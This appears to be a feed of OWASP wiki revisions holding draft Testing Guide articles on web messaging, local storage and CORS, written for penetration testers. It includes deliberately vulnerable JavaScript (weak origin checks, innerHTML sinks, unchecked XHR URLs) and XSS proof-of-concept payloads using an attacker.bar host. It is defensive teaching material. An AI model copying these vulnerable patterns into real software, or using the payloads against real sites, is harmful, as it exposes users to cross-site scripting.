&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Origin Security Concept&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;event.data input validation&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will represent a security risk as an attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
Lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin == &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
Tools&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164074</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164074"/>
				<updated>2013-11-30T21:38:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: web storage initial article&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
Whitepapers&lt;br /&gt;
…&lt;br /&gt;
http://www.w3.org/TR/webstorage/&lt;br /&gt;
more?&lt;br /&gt;
&lt;br /&gt;
Tools &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
...&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Storage-xss.png&amp;diff=164073</id>
		<title>File:Storage-xss.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Storage-xss.png&amp;diff=164073"/>
				<updated>2013-11-30T21:36:00Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: Web Storage Issues: Input Validation, XSS&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Web Storage Issues: Input Validation, XSS&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Storage-firefox.png&amp;diff=164072</id>
		<title>File:Storage-firefox.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Storage-firefox.png&amp;diff=164072"/>
				<updated>2013-11-30T21:34:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: Firefox/Firebug &amp;amp; Web Storage&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Firefox/Firebug &amp;amp; Web Storage&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Storage-chrome.png&amp;diff=164071</id>
		<title>File:Storage-chrome.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Storage-chrome.png&amp;diff=164071"/>
				<updated>2013-11-30T21:34:01Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: Google Chrome Developer Tools &amp;amp; Web Storage&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Google Chrome Developer Tools &amp;amp; Web Storage&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164070</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164070"/>
				<updated>2013-11-30T20:37:11Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added CORS example screenshot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:CORS-example.png&amp;diff=164069</id>
		<title>File:CORS-example.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:CORS-example.png&amp;diff=164069"/>
				<updated>2013-11-30T20:34:01Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: CORS example from section Test Cross Origin Resource Sharing (OTG-CLIENT-002), OWASP Testing Guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CORS example from section Test Cross Origin Resource Sharing (OTG-CLIENT-002), OWASP Testing Guide&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160087</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160087"/>
				<updated>2013-10-09T20:12:19Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
